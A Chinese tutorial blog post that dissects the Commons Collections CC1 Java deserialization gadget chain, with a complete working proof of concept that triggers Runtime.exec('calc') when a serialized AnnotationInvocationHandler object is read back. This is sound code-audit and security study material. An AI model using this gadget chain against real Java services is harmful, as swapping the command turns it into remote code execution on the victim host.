• Java反序列化之CommonsCollections CC1链分析


    前言

    cc链的研究可以说是非常适合java代码审计的入门篇了,十分考验java代码功力,其实也是基础功,跨过了这个门槛,在看看其他业务代码就会比较轻松了。不要说代码难,看不懂,作者也是刚入门java没几个月的小白,只要基本功扎实,慢慢看 慢慢调式。你也会慢慢明白其中的运行逻辑。

    环境准备

    Java 存档下载 — Java SE 8 | Oracle 中国

    https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

    我们需要下载链接1的jdk版本安装,高版本的jdk可能与本次调试的执行流不一致。之后我们需把链接2下载下来,将sun目录拷贝到jre安装目录,这样做的目的也是为了看到sun包下的源文件便于调式。最后在idea中将sun目录加进去。

    将本次用的lib库 commos-collections-3.2.1 下载下来添加进去

    现在上本次测试的代码,正常正常执行后 会弹出本次的计算器。

    1. package com.aqn.core;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.TransformedMap;
    7. import java.io.*;
    8. import java.lang.annotation.Target;
    9. import java.lang.reflect.Constructor;
    10. import java.lang.reflect.InvocationTargetException;
    11. import java.lang.reflect.Method;
    12. import java.util.HashMap;
    13. import java.util.Map;
    14. public class POC {
    15.    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
    16.       //Runtime r = Runtime.getRuntime();
    17.  /*     Class c = Runtime.class;
    18.        Method getRuntimeMethod = c.getMethod("getRuntime", null);
    19.        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
    20.        Method execMethod = c.getMethod("exec", String.class);
    21.        execMethod.invoke(r,"calc");*/
    22.   /*     Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
    23.        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
    24.        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    25. */
    26.        Transformer[] transformers = new Transformer[]{
    27.                new ConstantTransformer(Runtime.class),
    28.                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
    29.                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
    30.                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    31.       };
    32.        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    33.        //chainedTransformer.transform(Runtime.class);
    34.        //InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    35.        HashMap map = new HashMap<>();
    36.        map.put("value","bbb");
    37.        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
    38. /*       for(Map.Entry entry:transformedMap.entrySet()){
    39. //         entry.setValue(Runtime.class);
    40.        }*/
    41.        //AnnotationInvocationHandler
    42.      /* Reader*/
    43.        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    44.        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
    45.        annotationInvocationdhdlConstructor.setAccessible(true);
    46.        Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
    47.        serialize(o);
    48.        unserialize("ser.bin");
    49.   }
    50.    public static void serialize(Object obj) throws IOException, IOException {
    51.        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    52.        oos.writeObject(obj);
    53.   }
    54.    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    55.        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    56.        Object obj = ois.readObject();
    57.        return obj;
    58.   }
    59. }

    接下来我会一步地一步地的分析 是怎么从最开始的代码一步一步地写成这样。

    前置知识

    一段调用本机计算器的poc代码

    Runtime.getRuntime().exec("calc"); 

    没错是可以执行调用的,现在改写成反射调用的反射、

    1. Runtime r = Runtime.getRuntime();
    2. Class c = Runtime.class;
    3. Method execMethod = c.getMethod("exec", String.class);
    4. execMethod.invoke(r,"calc");

    正片开始....

    commons-collections 介绍

    commons-collections 是 Apache Commons 项目中的一个子项目,它提供了一组有用的集合类,这些类扩展了 Java 标准库中的集合类,并提供了许多额外的功能。

    commons-collections 包含了许多常用的数据结构和算法,包括列表、队列、堆、映射等。它还提供了许多集合的实用工具类,如 CollectionUtils、MapUtils、PredicateUtils 等,用于简化集合操作。

    影响版本 3.2.2

    InvokerTransformer 任意方法反射调用

    InvokerTransformer继承接口Transformer, 接口Transformer只有一个方法transform(Object init)

    public class InvokerTransformer implements Transformer, Serializable

    它其中的一个构造函数接收方法名,方法参数类型,方法参数(数组)

    1. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    2.    this.iMethodName = methodName;
    3.    this.iParamTypes = paramTypes;
    4.    this.iArgs = args;
    5. }

    类InvokerTransformer中有一个transform的方法(可接收实例化对象)(也是对接口Transformer的实现), 欲将刚才接收的方法 通过反射实现。

    1. public Object transform(Object input) {
    2.    if (input == null) {
    3.        return null;
    4.   } else {
    5.        try {
    6.            Class cls = input.getClass();
    7.            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    8.            return method.invoke(input, this.iArgs);
    9.       } catch (NoSuchMethodException var4) {
    10.            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
    11.       } catch (IllegalAccessException var5) {
    12.            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    13.       } catch (InvocationTargetException var6) {
    14.            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
    15.       }
    16.   }
    17. }

    仔细看method.invoke(input, this.iArgs); 其中method,input,iargs都是我们可控的参数,因此是可以实现任意方法的反射调用。

    现在看一下Runtime.getRuntime().exec("calc"); 的普通反射

    1. Runtime r = Runtime.getRuntime();
    2. Class c = Runtime.class;
    3. Method execMethod = c.getMethod("exec", String.class);
    4. execMethod.invoke(r,"calc");

    由此和InvokerTransformer结合生成 调用calc代码

    初步建立利用链

    1. Runtime r = Runtime.getRuntime();
    2. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

    思考谁调用了中的transform(同名即可)方法 (目标回到object),右键Find Usages

    调用transform

    类TransformedMap 的继承实现关系

    public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

    类TransformedMap中 有checkSetValue方法(protected只能被自己调用) 调用了transform

    1. protected Object checkSetValue(Object value) {
    2.    return this.valueTransformer.transform(value);
    3. }

    valueTransformer是否可控?看一看TransformedMap的构造函数(也是protected)

    1. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    2.    super(map);
    3.    this.keyTransformer = keyTransformer;
    4.    this.valueTransformer = valueTransformer;
    5. }

    的确可控,那么类中谁可以调用TransformedMap方法呢!

    1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    2. return new TransformedMap(map, keyTransformer, valueTransformer);
    3. }

    类TransformedMap中 的静态方法decorate 可以调用TransformedMap的构造方法 顺便实例化了TransformedMap类

    由此我们可以再次改进代码。(用静态方法调用产生实例,这里跟设计模式理念有关)

    1. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    2. HashMap map = new HashMap<>();
    3. TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(map,null,invokerTransformer);

    如此 现在只需调用类transformedMap中的 checkSetValue(Object value) 方法, value 需是Runtime实例化对象r 便可执行calc了。

    一样的套路继续需找调用checkSetValue方法的地方

    在类TransformedMap的父类AbstractInputCheckedMapDecorator中有一个静态内部类,

    1. static class MapEntry extends AbstractMapEntryDecorator {
    2.    private final AbstractInputCheckedMapDecorator parent;
    3.    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
    4.        super(entry);
    5.        this.parent = parent;
    6.   }
    7.    
    8.    public Object setValue(Object value) {
    9.        value = this.parent.checkSetValue(value);
    10.        return this.entry.setValue(value);
    11.   }
    12.    
    13.   ...    
    14. }

    其中方法setValue调用了 checkSetValue,那么参数是否可控呢!查看它的构造函数。

    value可控 可以把setValue的参数传进去;也就是传入Runtime实例化对象r

    parent 可控 可以由静态类MapEntry 的构造方法传进去;由于TransformedMap继承了AbstractInputCheckedMapDecorator 所以欲传入TransformedMap是可行的

    如果上述parent 参数调整好后,就要考虑谁可以调用方法setValue 相关参数是都可控

    正常来讲 要遍历map使用MapEntry 就会调用setValue ,而参数value可控 ,就是map键值对的value

    现在欲调整代码setValue

    1. Runtime r = Runtime.getRuntime();
    2. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    3. HashMap map = new HashMap<>();
    4. map.put("key","value");
    5. Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
    6. for(Map.Entry entry:transformedMap.entrySet()){
    7.            entry.setValue(r);
    8. }

    接下分析下此段代码的执行流,这里我不得不运行调试了,因为遍历map有很多规则,都是编译器执行的,仅靠分析源码还是很困难的。

    TransformedMap中没有entrySet() 父类AbstractInputCheckedMapDecorator有

    1. public Set entrySet() {
    2.    return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
    3. }

    追入this.isSetValueChecking() this就是transformedMap

    1. protected boolean isSetValueChecking() {
    2.    return this.valueTransformer != null;
    3. }

    valueTransformer就是之前设置的invokerTransformer不为空 返回true,进入new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this)

    1. static class EntrySet extends AbstractSetDecorator {
    2.    private final AbstractInputCheckedMapDecorator parent;
    3.    protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
    4.        super(set);
    5.        this.parent = parent;
    6.   }
    7. }

    用内部静态类的构造器EntrySet() 实例化EntrySet类,其中parent是对象TransformedMap

    接下来就是遍历准备了,调试进入代码

    1. public Iterator iterator() {
    2.    return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
    3. }

    这里this是AbstractInputCheckedMapDecorator$EntrySet 可以看到TransformedMap 传进去了(this.parent)。

    跟踪到EntrySetIterator

    1. static class EntrySetIterator extends AbstractIteratorDecorator {
    2.    private final AbstractInputCheckedMapDecorator parent;
    3.    protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
    4.        super(iterator);
    5.        this.parent = parent;
    6.   }
    7. }

    可以看到将我们的TransformedMap 存入到了EntrySetIterator类中了

    由此得出iterator方法的结论:实例化了AbstractInputCheckedMapDecorator的内部静态类EntrySetIterator,之后返回主代码 开始遍历

    1. public boolean hasNext() {
    2.    return this.iterator.hasNext();
    3. }

    再次调试进入

    1. public Object next() {
    2.    Entry entry = (Entry)this.iterator.next();
    3.    return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
    4. }

    可以看到又实例化了AbstractInputCheckedMapDecorator.MapEntry(静态内部类) 而且传入的参数就是准备的TransformedMap(this.parent)。

    为什么这么说呢,因为这里的this是AbstractlnputCheckedMapDecorator$EntrySetlterator@516,还记得之前将TransformedMap存入到此类中吗!没错TransformedMap对象又一次传入了MapEntry

    1. static class MapEntry extends AbstractMapEntryDecorator {
    2.    private final AbstractInputCheckedMapDecorator parent;
    3. protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
    4.    super(entry);
    5.    this.parent = parent;
    6. }
    7. ...

    此刻是不是parent的问题解决了! 接下来就是参数value了。

    以上调试代码

    1. Runtime r = Runtime.getRuntime();
    2. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    3. HashMap map = new HashMap<>();
    4. map.put("key","value");
    5. Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
    6. for(Map.Entry entry:transformedMap.entrySet()){
    7.            entry.setValue(r);
    8. }

    在类AnnotationInvocationHandler中 有readObject方法调用了setValue

    1. package sun.reflect.annotation;
    2. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    3. private void readObject(java.io.ObjectInputStream s)
    4.        throws java.io.IOException, ClassNotFoundException {
    5.        s.defaultReadObject();
    6.    // Check to make sure that types have not evolved incompatibly
    7.    AnnotationType annotationType = null;
    8.    try {
    9.        annotationType = AnnotationType.getInstance(type);
    10.   } catch(IllegalArgumentException e) {
    11.        // Class is no longer an annotation type; time to punch out
    12.        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    13.   }
    14.    Map> memberTypes = annotationType.memberTypes();
    15.    // If there are annotation members without values, that
    16.    // situation is handled by the invoke method.
    17.    for (Map.Entry memberValue : memberValues.entrySet()) {
    18.        String name = memberValue.getKey();
    19.        Class memberType = memberTypes.get(name);
    20.        if (memberType != null) {  // i.e. member still exists
    21.            Object value = memberValue.getValue();
    22.            if (!(memberType.isInstance(value) ||
    23.                  value instanceof ExceptionProxy)) {
    24.                memberValue.setValue(
    25.                    new AnnotationTypeMismatchExceptionProxy(
    26.                        value.getClass() + "[" + value + "]").setMember(
    27.                            annotationType.members().get(name)));
    28.           }
    29.       }
    30.   }
    31. }

    看一看类中AnnotationInvocationHandler 有什么参数是直接可以控制的

    1. AnnotationInvocationHandler(Classextends Annotation> type, Map memberValues) {
    2.        Class[] superInterfaces = type.getInterfaces();
    3.        if (!type.isAnnotation() ||
    4.            superInterfaces.length != 1 ||
    5.            superInterfaces[0] != java.lang.annotation.Annotation.class)
    6.            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    7.        this.type = type;
    8.        this.memberValues = memberValues;
    9.   }

    注意上述代码的memberValues 这个map类型的参数待会在readObject方法中可是要 执行memberValues.entrySet()来遍历的

    这是不是非常像之前我们写的map遍历,那么现在不同了 既然AnnotationInvocationHandler类readObject方法中有这个遍历的操作,那么我们的写的遍历操作就不必了,这也是解决parent的问题的,

    由于AnnotationInvocationHandler类没有public (就是默认的default 无法在主程序中获取) ,我们需要进行反射。

    1. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    2. Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
    3. annotationInvocationdhdlConstructor.setAccessible(true);
    4. Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
    5. serialize(o);
    6. unserialize("ser.bin");

    序列化函数参考

    1. public static void serialize(Object obj) throws IOException, IOException {
    2.        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    3.        oos.writeObject(obj);
    4.   }
    5.    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    6.        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    7.        Object obj = ois.readObject();
    8.        return obj;
    9.   }

    因为序列化,已经调用了AnnotationInvocationHandler的readObject方法了

    现在考虑下要传进入的对象r了,看setvalue哪里,

    1. memberValue.setValue(
    2.                new AnnotationTypeMismatchExceptionProxy(
    3.                    value.getClass() + "[" + value + "]").setMember(
    4.                        annotationType.members().get(name)));
    5.       }

    传入的参数似乎是不可控的,那有没有其他的解决方案呢!不传参行不行!

    无法传参问题

    这次我们不传参了! 使用反射的机配合InvokerTransformer机制实例化Runtime r

    现在先对下面的代码优化一下,使用InvokerTransformer进行改进,

    1. Runtime r = Runtime.getRuntime();
    2. Class c = Runtime.class;
    3. Method execMethod = c.getMethod("exec", String.class);
    4. execMethod.invoke(r,"calc");
    1. Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
    2. Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
    3. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);    
    这里还可以继续改进,使用ChainedTransformer递归调用
    1. Transformer[] transformers = new Transformer[]{
    2.        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
    3.        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
    4.        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    5. };
    6. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    7. chainedTransformer.transform(Runtime.class);

    看一下ChainedTransformer类

    1. public class ChainedTransformer implements Transformer, Serializable {
    2.    private static final long serialVersionUID = 3514945074733160196L;
    3.    private final Transformer[] iTransformers;
    4.   ...

    此类中也有一个transform的方法

    1. public Object transform(Object object) {
    2.    for(int i = 0; i < this.iTransformers.length; ++i) {
    3.        object = this.iTransformers[i].transform(object);
    4.   }
    5.     return object;
    6. }

    这段代码的逻辑将上一个执行的返回参数传递给本次执行参数,所以上述代码的修改是可行的,不过我们需要传递Runtime.class作为第一个要处理的object,有没有方法不传递呢!

    有这么一个有趣的类ConstantTransformer

    1. public class ConstantTransformer implements Transformer, Serializable {
    2.   ...
    3.    private final Object iConstant;
    4.   ...

    构造函数

    1. public ConstantTransformer(Object constantToReturn) {
    2.    this.iConstant = constantToReturn;
    3. }

    它也有transform方法

    1. public Object transform(Object input) {
    2.    return this.iConstant;
    3. }

    只所以说它有趣是因为它的transform返回之前的构造函数传参对象

    这样不是解决了Runtime.class 要作为一个参数的问题!

    于是这样的代码产生了

    1. public class POC {
    2.    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
    3.        Transformer[] transformers = new Transformer[]{
    4.                new ConstantTransformer(Runtime.class),
    5.                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
    6.                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
    7.                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    8.       };
    9.        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    10.        HashMap map = new HashMap<>();
    11.        map.put("aaa","bbb");
    12.        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
    13.        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    14.        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
    15.        annotationInvocationdhdlConstructor.setAccessible(true);
    16.        Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
    17.        serialize(o);
    18.        unserialize("ser.bin");
    19.    
    20.   }
    21.    public static void serialize(Object obj) throws IOException, IOException {
    22.        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    23.        oos.writeObject(obj);
    24.   }
    25.    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    26.        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    27.        Object obj = ois.readObject();
    28.        return obj;
    29.   }
    30. }

    现在不用传参也可以了, 只剩下最后一个问题了

    确保真的进入了setValue(),

    1. private void readObject(java.io.ObjectInputStream s)
    2.        throws java.io.IOException, ClassNotFoundException {
    3.        s.defaultReadObject();
    4.    // Check to make sure that types have not evolved incompatibly
    5.    
    6.    AnnotationType annotationType = null;
    7.    try {
    8.        annotationType = AnnotationType.getInstance(type);
    9.   } catch(IllegalArgumentException e) {
    10.        // Class is no longer an annotation type; time to punch out
    11.        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    12.   }
    13.    
    14.    Map> memberTypes = annotationType.memberTypes();
    15.    
    16.    // If there are annotation members without values, that
    17.    // situation is handled by the invoke method.
    18.    for (Map.Entry memberValue : memberValues.entrySet()) {
    19.        String name = memberValue.getKey();
    20.        Class memberType = memberTypes.get(name);
    21.        if (memberType != null) {  // i.e. member still exists
    22.            Object value = memberValue.getValue();
    23.            if (!(memberType.isInstance(value) ||
    24.                  value instanceof ExceptionProxy)) {
    25.                memberValue.setValue(
    26.                    new AnnotationTypeMismatchExceptionProxy(
    27.                        value.getClass() + "[" + value + "]").setMember(
    28.                            annotationType.members().get(name)));
    29.           }
    30.       }
    31.   }
    32. }

    这此之前有两个if条件要为真

    注解绕过

    重点看这段AnnotationInvocationHandler类中的readobject()方法的代码

    1.    String name = memberValue.getKey();
    2.    Class memberType = memberTypes.get(name);
    3.    if (memberType != null) {  // i.e. member still exists

    还记得反序列化先我们AnnotationInvocationHandler 存入什么了吗!(以下面的代码为例分析)

    1. HashMap map = new HashMap<>();
    2. map.put("aaa","bbb");
    3. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    4. Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
    5. annotationInvocationdhdlConstructor.setAccessible(true);
    6. Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

    它的内部成员 type,memberValues 分别是我们传入的注解Override 和 Map

    变memberValues 为memberValue 调用getKey() 得到键值队的键; (这里得到的值就是aaa)。

     Class memberType = memberTypes.get(name);

    这里,name是你要查找的成员类型的名称。这个方法将返回与该名称对应的成员类型(Class对象)。如果memberTypes中没有与该名称对应的成员类型,那么这个方法将返回null、(本质上有键值对的key得到value 这里面的存的就是方法 和方法类型,后面会有分析)

    memberType要想不为空,memberTypes的成员必需要有name,name是我们的可控参数。

    追踪调试memberTypes是怎么来的,是否可控!向上找

    Map> memberTypes = annotationType.memberTypes();

    进入annotationType.memberTypes()

    1. public Map> memberTypes() {
    2.    return memberTypes;
    3. }

    memberTypes在annotationType中定义,那么这个成员是何时被赋值的呢!

    private final Map> memberTypes;

    右键寻找调用者; readobject 中用了他(memberTypes)

    1. annotationType = AnnotationType.getInstance(type);
    2.  private AnnotationType(final Class annotationClass) {
    3.        if (!annotationClass.isAnnotation())
    4.            throw new IllegalArgumentException("Not an annotation type");
    5.        Method[] methods =
    6.            AccessController.doPrivileged(new PrivilegedAction() {
    7.                public Method[] run() {
    8.                    // Initialize memberTypes and defaultValues
    9.                    return annotationClass.getDeclaredMethods();
    10.               }
    11.           });
    12.        memberTypes = new HashMap>(methods.length+1, 1.0f);
    13.        memberDefaults = new HashMap(0);
    14.        members = new HashMap(methods.length+1, 1.0f);
    15.        for (Method method :  methods) {
    16.            if (method.getParameterTypes().length != 0)
    17.                throw new IllegalArgumentException(method + " has params");
    18.            String name = method.getName();
    19.            Class type = method.getReturnType();
    20.            memberTypes.put(name, invocationHandlerReturnType(type));
    21.            members.put(name, method);
    22. ...

    传入的type是我们可控制可传入的注解类

    简单看一下代码逻辑传入的名称变为了annotationClass,annotationClass.getDeclaredMethods() 得到该类的成员方法名称,

    for (Method method : methods) 遍历这个方法数组

    String name = method.getName(); Class type = method.getReturnType(); memberTypes.put(name, invocationHandlerReturnType(type));
    members.put(name, method);

    从代码上看memberTypes 为map 键值对的键存方法名称 值为方法的类型

    故我们找一个有成员方法的注解 将该方法的名作为传入map 的键名,如此一来memberType就是该方法的类型 这样不为空就可以进去if了

    在Override的邻居里 有一个Target的注解

    它里面可是有成员方法的

    1. @Documented
    2. @Retention(RetentionPolicy.RUNTIME)
    3. @Target(ElementType.ANNOTATION_TYPE)
    4. public @interface Target {
    5.    /**
    6.     * Returns an array of the kinds of elements an annotation type
    7.     * can be applied to.
    8.     * @return an array of the kinds of elements an annotation type
    9.     * can be applied to
    10.     */
    11.    ElementType[] value();
    12. }

    那好我们把这个注解传入键入AnnotationInvocationHandler map的键设置 为value

    最终形成代码如下

    1. package com.aqn.core;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.TransformedMap;
    7. import java.io.*;
    8. import java.lang.annotation.Target;
    9. import java.lang.reflect.Constructor;
    10. import java.lang.reflect.InvocationTargetException;
    11. import java.lang.reflect.Method;
    12. import java.util.HashMap;
    13. import java.util.Map;
    14. public class POC {
    15.    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
    16.        Transformer[] transformers = new Transformer[]{
    17.                new ConstantTransformer(Runtime.class),
    18.                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
    19.                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
    20.                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    21.       };
    22.        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    23.        HashMap map = new HashMap<>();
    24.        map.put("value","bbb");
    25.        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
    26.        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    27.        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
    28.        annotationInvocationdhdlConstructor.setAccessible(true);
    29.        Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
    30.        serialize(o);
    31.        unserialize("ser.bin");
    32.   }
    33.    public static void serialize(Object obj) throws IOException, IOException {
    34.        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    35.        oos.writeObject(obj);
    36.   }
    37.    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
    38.        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    39.        Object obj = ois.readObject();
    40.        return obj;
    41.   }
    42. }
    成功跳出计算器

     

  • 相关阅读:
    备战蓝桥杯---贪心刷题2
    【Redis】事务秒杀案例
    SpringCloudAlibaba 综合项目实战工业级PaaS云平台第四课 优惠券模块的分布式设计和压力测试
    远程控制安卓手机:便捷、高效与安全的方法
    k8s二进制(ETCD的部署安装)
    【树莓派】vim编辑器
    开学季征文 | 一位开发实习生的真情流露
    webpack-dev-server
    一文学会如何使用原型模式
    数据库之元数据
  • 原文地址:https://blog.csdn.net/shelter1234567/article/details/132745477